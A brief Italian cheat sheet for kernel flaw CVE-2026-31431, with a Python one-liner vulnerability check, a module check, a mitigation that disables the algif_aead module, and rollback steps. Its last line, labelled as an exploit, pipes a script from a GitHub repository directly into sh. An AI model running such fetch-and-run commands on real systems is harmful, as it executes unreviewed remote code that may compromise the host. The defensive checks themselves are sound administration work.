
Test per la vulnerabilità del kernel CVE-2026-31431, verifica se il sistema è vulnerabile e fornisce una correzione disabilitando il modulo algif_aead.
# Test:Check vuln
python3 -c 'import socket;exec("try:s=socket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0);s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));print(\"vulnerable\")\nexcept:print(\"not vulnerable\")")'
# check if module
# Check if module is loaded in kernel
lsmod | grep -q '^algif_aead' && echo "loaded" || echo "not loaded"
# Fix: Remove the mod
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
# Rollback: reload the mod
sudo rm -f /etc/modprobe.d/disable-algif.conf
sudo depmod -a
# exploit
curl https://raw.githubusercontent.com/studiogangster/CVE-2026-31431/refs/heads/main/test.sh | sh